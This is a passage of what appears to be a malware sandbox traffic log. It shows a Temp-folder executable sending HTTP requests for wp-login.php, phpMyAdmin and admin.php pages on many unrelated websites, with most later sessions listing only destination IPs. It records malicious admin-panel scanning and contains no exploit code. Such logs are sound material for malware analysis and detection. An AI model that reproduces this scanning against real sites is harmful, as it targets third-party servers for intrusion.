Dec 20, 2023 03:13:23.719892025 CET	182	OUT	GET /wp-login.php HTTP/1.1 Host: pricklypearworks.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	54669	209.126.24.60	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.734026909 CET	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: horsetech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	54583	95.128.72.24	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.734044075 CET	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: meurrens.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	54682	192.252.146.15	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.752371073 CET	179	OUT	GET /phpmyadmin/ HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	54828	172.67.181.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.752686977 CET	179	OUT	GET /wp-login.php HTTP/1.1 Host: entexclusives.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	54820	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.752873898 CET	172	OUT	GET /admin.php HTTP/1.1 Host: onjevilla.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.4	54822	15.197.142.173	80

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.771176100 CET	169	OUT	GET /admin.php HTTP/1.1 Host: goaeta.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	54655	217.19.254.237	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.783786058 CET	170	OUT	GET /phpmyadmin/ HTTP/1.1 Host: tgcan.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	54827	45.56.74.212	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.785008907 CET	173	OUT	GET /wp-login.php HTTP/1.1 Host: iconcap.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	54849	104.143.9.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.785109997 CET	173	OUT	GET /admin.php HTTP/1.1 Host: meltonhome.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	54867	69.20.103.147	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.785235882 CET	173	OUT	GET /wp-login.php HTTP/1.1 Host: copyset.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	54644	213.186.33.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:23.785448074 CET	176	OUT	GET /wp-login.php HTTP/1.1 Host: eb-concept.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	54798	185.103.16.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	54829	77.72.0.94	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	54851	217.160.0.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	54654	154.209.61.218	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	55007	91.195.240.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	55099	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	55116	15.197.192.55	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	55098	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	55105	69.20.103.147	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	55121	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	54919	103.26.43.131	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	55109	216.239.32.21	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	55107	198.49.23.144	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	55111	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	55152	162.159.134.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	55151	69.20.103.147	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.4	55100	217.70.184.38	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	55106	83.98.155.23	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.4	55316	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.4	55134	178.33.163.4	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.4	55344	15.197.192.55	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.4	55332	205.178.187.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.4	55349	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.4	55350	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.4	55348	108.167.135.109	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.4	55313	69.49.101.57	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.4	55381	151.101.1.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.4	55347	66.96.160.139	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.4	55413	65.8.178.81	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.4	55369	162.215.248.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.4	55441	104.21.4.150	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.4	55357	217.19.254.237	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.4	55449	64.182.43.254	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	55419	198.185.159.145	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.4	55450	64.91.249.20	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.4	55226	157.112.187.45	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.4	55488	199.60.103.25	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.4	55487	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.4	55457	199.34.228.152	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.4	55486	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.4	55479	34.133.154.140	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.4	55540	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.4	55534	205.178.189.129	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.4	55535	205.178.189.129	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.4	55553	45.56.74.212	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.4	55408	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.4	55558	64.182.43.254	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.4	55485	3.64.163.50	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.4	55614	205.178.187.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.4	55647	151.101.1.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.4	55728	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.4	55652	199.34.228.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.4	55660	217.70.184.38	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.4	55685	217.160.0.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.4	55839	192.252.146.15	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.4	55762	217.160.0.164	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.4	55805	162.215.248.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.4	55869	205.178.189.129	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.4	55808	213.186.33.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.4	55837	178.33.163.4	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.4	55874	64.91.249.20	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.4	55900	23.227.38.32	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.4	56020	198.185.159.145	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.4	56076	104.21.4.150	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.4	56078	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.4	56036	104.143.9.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.4	56077	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.4	56075	185.230.63.171	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.4	56093	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.4	56094	198.49.23.144	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.4	56025	95.128.72.24	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.4	56113	209.126.24.60	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.4	56137	104.143.9.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.4	56035	3.64.163.50	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.4	56223	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.4	56067	217.160.0.164	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.4	56013	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.4	56147	95.128.72.24	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.4	56068	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.4	56030	103.20.214.243	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.4	56157	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.4	56220	154.209.61.218	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.4	56438	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.4	56426	192.185.100.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.4	56402	45.56.74.212	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.4	56403	198.49.23.145	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.4	56462	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.4	56484	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.4	56466	198.49.23.144	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.4	56463	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.4	56467	216.239.32.21	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.4	56422	185.112.125.71	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.4	56521	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.4	56520	69.20.103.147	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.4	56372	166.62.28.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.4	56594	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.4	56495	83.98.155.23	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.4	56612	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.4	56659	172.67.181.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.4	56451	95.173.180.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.4	56617	216.40.47.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.4	56672	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.4	56681	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.4	56486	185.103.16.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.4	56661	217.160.0.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.4	56671	213.186.33.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.4	56742	192.185.100.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.4	56682	185.112.125.71	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.4	56741	69.49.101.57	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.4	56759	64.91.249.20	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.4	56743	178.33.163.4	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.4	56819	205.178.189.129	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.4	56740	103.26.43.131	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.4	56860	198.185.159.144	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.4	56889	64.182.43.254	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.4	56910	45.56.74.212	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.4	56873	192.252.146.15	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
